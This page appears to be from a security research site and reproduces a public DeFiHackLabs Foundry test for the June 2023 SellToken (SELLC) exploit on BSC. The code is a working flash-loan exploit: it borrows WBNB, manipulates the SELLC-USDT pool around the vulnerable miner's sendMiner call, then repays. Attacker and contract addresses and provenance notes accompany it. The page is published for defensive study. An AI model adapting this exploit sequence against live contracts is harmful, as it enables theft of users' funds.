Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/SELLC03_exp.sol

Public reproduction file for dataset entry SellToken04.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/SELLC03_exp.sol96 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : unclear US$
8// Attacker : https://bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089
9// Attack Contract : https://bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052
10// Vulnerable Contract : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1
11// Attack Tx : https://bscscan.com/tx/0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1#code
16// @Analysis
17// Twitter Guy : https://twitter.com/EoceneSecurity/status/1668468933723328513
19interface Miner {
20 function setBNB(address token, address token1) external payable;
21 function sendMiner(
22 address token
23 ) external;
26contract ContractTest is Test {
27 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
28 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
29 IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);
30 Miner miner = Miner(0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1);
31 Uni_Pair_V2 SELLC_USDT = Uni_Pair_V2(0x9523B023E1D2C490c65D26fad3691b024d0305D7);
32 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
33 IDPPOracle oracle = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
34 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
36 function setUp() public {
37 cheats.createSelectFork("bsc", 29_005_754);
38 cheats.label(address(WBNB), "WBNB");
39 cheats.label(address(USDT), "USDT");
40 cheats.label(address(SELLC), "SELLC");
41 cheats.label(address(SELLC_USDT), "SELLC_USDT");
42 cheats.label(address(Router), "Router");
43 WBNB.approve(address(Router), type(uint256).max);
44 USDT.approve(address(Router), type(uint256).max);
45 SELLC.approve(address(Router), type(uint256).max);
46 SELLC_USDT.approve(address(Router), type(uint256).max);
47 }
49 function testExploit() public {
50 miner.setBNB{value: 0.01 ether}(address(SELLC), address(USDT));
51 cheats.warp(block.timestamp + 1 * 86_400 + 1);
52 oracle.flashLoan(600 * 1e18, 0, address(this), new bytes(1));
53 emit log_named_decimal_uint(
54 "[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
55 );
56 }
58 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
59 address[] memory path = new address[](2);
60 path[0] = address(WBNB);
61 path[1] = address(SELLC);
62 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
63 200 * 1e18, 0, path, address(this), block.timestamp
64 );
65 path[0] = address(SELLC);
66 path[1] = address(USDT);
67 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
68 SELLC.balanceOf(address(this)) * 1 / 100, 0, path, address(this), block.timestamp
69 );
70 Router.addLiquidity(
71 address(SELLC),
72 address(USDT),
73 SELLC.balanceOf(address(this)),
74 USDT.balanceOf(address(this)),
75 0,
76 0,
77 address(this),
78 block.timestamp
79 ); // add SELLC-USDT Liquidity
80 path[0] = address(WBNB);
81 path[1] = address(SELLC);
82 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
83 400 * 1e18, 0, path, address(this), block.timestamp
84 );
85 miner.sendMiner(address(SELLC));
86 Router.removeLiquidity(
87 address(SELLC), address(USDT), SELLC_USDT.balanceOf(address(this)), 0, 0, address(this), block.timestamp
88 ); // remove SELLC-USDT Liquidity
89 path[0] = address(SELLC);
90 path[1] = address(WBNB);
91 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
92 SELLC.balanceOf(address(this)), 0, path, address(this), block.timestamp
93 );
94 WBNB.transfer(address(oracle), 600 * 1e18);
95 }

Analysis

Dataset entry

Public Foundry test for “SellToken04” (2023-06-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0060129430df7ea188be3d8818404a2d40896089

  • Attack Contract

    0x2cc392c0207d080aec0befe5272659d3bb8a7052

  • Vulnerable Contract

    0x84be9475051a08ee5364fba44de7fe83a5ecc4f1

  • Attack Tx

    0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b

File record

Name
SellToken04
Path
src/test/2023-06/SELLC03_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ba1b5d087435d0ba829bf756c4d408c91db1d948
Language
Solidity
Size
97 lines
Date
2023-06-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/SELLC03_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ba1b5d087435d0ba829bf756c4d408c91db1d948, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.